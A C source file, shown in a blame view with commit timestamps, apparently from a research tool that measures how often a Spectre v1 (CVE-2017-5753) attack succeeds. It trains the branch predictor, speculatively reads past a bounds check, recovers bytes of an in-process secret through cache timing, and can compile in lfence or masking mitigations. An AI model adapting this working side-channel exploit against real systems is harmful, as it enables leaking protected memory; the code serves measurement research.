2022-01-27 15:04:48 +01:00
|
|
|
|
/* spectre.c - CVE-2017-5753 user-to-user sucess rate measurement
|
|
|
|
|
*
|
|
|
|
|
* Borrows code from
|
|
|
|
|
* - https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
|
|
|
|
|
* - https://github.com/genua/meltdown
|
|
|
|
|
*
|
|
|
|
|
* Copyright (c) 2022 Samuel AUBERTIN
|
|
|
|
|
*
|
|
|
|
|
* Permission to use, copy, modify, and distribute this software for any
|
|
|
|
|
* purpose with or without fee is hereby granted, provided that the above
|
|
|
|
|
* copyright notice and this permission notice appear in all copies.
|
|
|
|
|
*
|
|
|
|
|
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
|
|
|
|
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
|
|
|
|
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
|
|
|
|
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
|
|
|
|
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
|
|
|
|
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
|
|
|
|
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
|
|
|
|
*/
|
|
|
|
|
|
2022-01-28 16:33:17 +01:00
|
|
|
|
#include "octopus.h"
|
2022-01-27 15:04:48 +01:00
|
|
|
|
|
2022-01-28 16:33:17 +01:00
|
|
|
|
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
2022-01-27 15:04:48 +01:00
|
|
|
|
|
|
|
|
|
void
|
2022-01-28 16:33:17 +01:00
|
|
|
|
victim_function(size_t x)
|
2022-01-27 15:04:48 +01:00
|
|
|
|
{
|
2022-01-28 16:33:17 +01:00
|
|
|
|
if (x < array1_size) {
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#ifdef LFENCE_MITIGATION
|
2022-01-28 16:33:17 +01:00
|
|
|
|
/*
|
|
|
|
|
* According to Intel et al, the best way to mitigate this is to
|
|
|
|
|
* add a serializing instruction after the boundary check to force
|
|
|
|
|
* the retirement of previous instructions before proceeding to
|
|
|
|
|
* the read.
|
|
|
|
|
* See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf
|
|
|
|
|
*/
|
|
|
|
|
_mm_lfence();
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
|
|
|
|
#ifdef MASKING_MITIGATION
|
2022-01-28 16:33:17 +01:00
|
|
|
|
x &= array_index_mask_nospec(x, array1_size);
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
2022-01-28 16:33:17 +01:00
|
|
|
|
|
2022-04-12 13:12:30 +02:00
|
|
|
|
temp &= channel[array1[x] * GAP];
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
void
|
2022-01-28 16:33:17 +01:00
|
|
|
|
leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_threshold)
|
2022-01-27 15:04:48 +01:00
|
|
|
|
{
|
|
|
|
|
static int results[256];
|
2022-01-28 16:33:17 +01:00
|
|
|
|
int tries, i, j, mix_i, junk = 0;
|
|
|
|
|
size_t training_x, x;
|
|
|
|
|
volatile uint8_t* addr;
|
2022-01-27 15:04:48 +01:00
|
|
|
|
|
|
|
|
|
#ifdef NOCLFLUSH
|
2022-04-12 13:12:30 +02:00
|
|
|
|
__OCTOPUS_NOCLFLUSH_INIT__
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
2022-04-12 13:12:30 +02:00
|
|
|
|
|
2022-01-27 15:04:48 +01:00
|
|
|
|
for (i = 0; i < 256; i++) {
|
|
|
|
|
results[i] = 0;
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
for (tries = 999; tries > 0; tries--) {
|
|
|
|
|
#ifndef NOCLFLUSH
|
2022-04-12 13:12:30 +02:00
|
|
|
|
/* Flush channel[256*(0..255)] from cache */
|
|
|
|
|
for (i = 0; i < 256; i++) {
|
|
|
|
|
_mm_clflush(&channel[i * GAP]);
|
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#else
|
2022-04-12 13:12:30 +02:00
|
|
|
|
/* Flush channel[256*(0..255)] from cache
|
2022-01-28 16:33:17 +01:00
|
|
|
|
using long SSE instruction several times */
|
|
|
|
|
for (j = 0; j < 16; j++) {
|
|
|
|
|
for (i = 0; i < 256; i++) {
|
2022-04-12 13:12:30 +02:00
|
|
|
|
flush_memory_sse(&channel[i * GAP]);
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
2022-01-28 16:33:17 +01:00
|
|
|
|
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
|
|
|
|
|
training_x = tries % array1_size;
|
|
|
|
|
for (j = 29; j >= 0; j--) {
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#ifndef NOCLFLUSH
|
2022-01-28 16:33:17 +01:00
|
|
|
|
_mm_clflush(&array1_size);
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#else
|
2022-01-28 16:33:17 +01:00
|
|
|
|
/* Alternative to using clflush to flush the CPU cache
|
|
|
|
|
* Read addresses at 4096-byte intervals out of a large array.
|
|
|
|
|
* Do this around 2000 times, or more depending on CPU cache size. */
|
|
|
|
|
for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
|
|
|
|
|
junk2 = cache_flush_array[l];
|
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
2022-01-28 16:33:17 +01:00
|
|
|
|
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
|
|
|
|
|
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
|
|
|
|
|
/* Avoid jumps in case those tip off the branch predictor */
|
|
|
|
|
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
|
|
|
|
|
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
|
|
|
|
|
x = training_x ^ (x & (malicious_x ^ training_x));
|
|
|
|
|
/* Call the victim! */
|
|
|
|
|
victim_function(x);
|
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
|
2022-04-12 13:12:30 +02:00
|
|
|
|
__OCTOPUS_TIMINGS__
|
|
|
|
|
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
|
|
|
|
value[0] = (uint8_t) j;
|
|
|
|
|
score[0] = results[j];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
int
|
2022-01-28 16:33:17 +01:00
|
|
|
|
main(int argc, char** argv)
|
2022-01-27 15:04:48 +01:00
|
|
|
|
{
|
|
|
|
|
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
|
2022-01-28 16:33:17 +01:00
|
|
|
|
int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
|
|
|
|
|
uint8_t value[2];
|
|
|
|
|
|
2022-04-12 13:12:30 +02:00
|
|
|
|
__OCTOPUS_ARGS__
|
2022-01-28 16:33:17 +01:00
|
|
|
|
|
|
|
|
|
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
2022-01-27 15:04:48 +01:00
|
|
|
|
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
|
|
|
|
#ifdef NOCLFLUSH
|
2022-01-28 16:33:17 +01:00
|
|
|
|
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
|
|
|
|
|
cache_flush_array[i] = 1;
|
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
#endif
|
2022-04-12 13:12:30 +02:00
|
|
|
|
for (i = 0; i < (int)sizeof(channel); i++) {
|
|
|
|
|
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
while (--len >= 0) {
|
|
|
|
|
leak(malicious_x++, value, score, cache_hit_threshold);
|
|
|
|
|
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
|
|
|
|
|
successes++;
|
|
|
|
|
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
|
|
|
|
|
} else {
|
|
|
|
|
fprintf(stderr, "\033[31m?\033[0m");
|
2022-01-28 16:33:17 +01:00
|
|
|
|
}
|
2022-01-27 15:04:48 +01:00
|
|
|
|
}
|
|
|
|
|
fprintf(stderr, "\n");
|
|
|
|
|
if (json) {
|
|
|
|
|
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
|
|
|
|
|
#ifndef NORDTSCP
|
2022-01-28 16:33:17 +01:00
|
|
|
|
printf("\"rdtscp\": true, ");
|
|
|
|
|
#else
|
|
|
|
|
printf("\"rdtscp\": false, ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
|
printf("\"mfence\": true, ");
|
|
|
|
|
#else
|
|
|
|
|
printf("\"mfence\": false, ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifndef NOCLFLUSH
|
|
|
|
|
printf("\"clflush\": true ");
|
|
|
|
|
#else
|
|
|
|
|
printf("\"clflush\": false ");
|
|
|
|
|
#endif
|
|
|
|
|
printf("}, \"mitigations\": { ");
|
|
|
|
|
#ifdef LFENCE_MITIGATION
|
|
|
|
|
printf("\"lfence\": true, ");
|
|
|
|
|
#else
|
|
|
|
|
printf("\"lfence\": false, ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifdef MASKING_MITIGATION
|
|
|
|
|
printf("\"masking\": true ");
|
|
|
|
|
#else
|
|
|
|
|
printf("\"masking\": false ");
|
|
|
|
|
#endif
|
|
|
|
|
printf("}, ");
|
2022-01-27 15:04:48 +01:00
|
|
|
|
printf("\"threshold\": %d, ", cache_hit_threshold);
|
2022-01-28 16:33:17 +01:00
|
|
|
|
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
|
2022-01-27 15:04:48 +01:00
|
|
|
|
}
|
|
|
|
|
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
|
|
|
|
|
#ifndef NORDTSCP
|
2022-01-28 16:33:17 +01:00
|
|
|
|
fprintf(stderr, "RDTSCP ");
|
|
|
|
|
#else
|
|
|
|
|
fprintf(stderr, "RDTSC ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifndef NOMFENCE
|
|
|
|
|
fprintf(stderr, "MFENCE ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifndef NOCLFLUSH
|
|
|
|
|
fprintf(stderr, "CLFLUSH ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifdef LFENCE_MITIGATION
|
|
|
|
|
fprintf(stderr, "LFENCE_MITIGATION ");
|
|
|
|
|
#endif
|
|
|
|
|
#ifdef MASKING_MITIGATION
|
|
|
|
|
fprintf(stderr, "MASKING_MITIGATION ");
|
|
|
|
|
#endif
|
|
|
|
|
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
|
2022-01-27 15:04:48 +01:00
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
}
|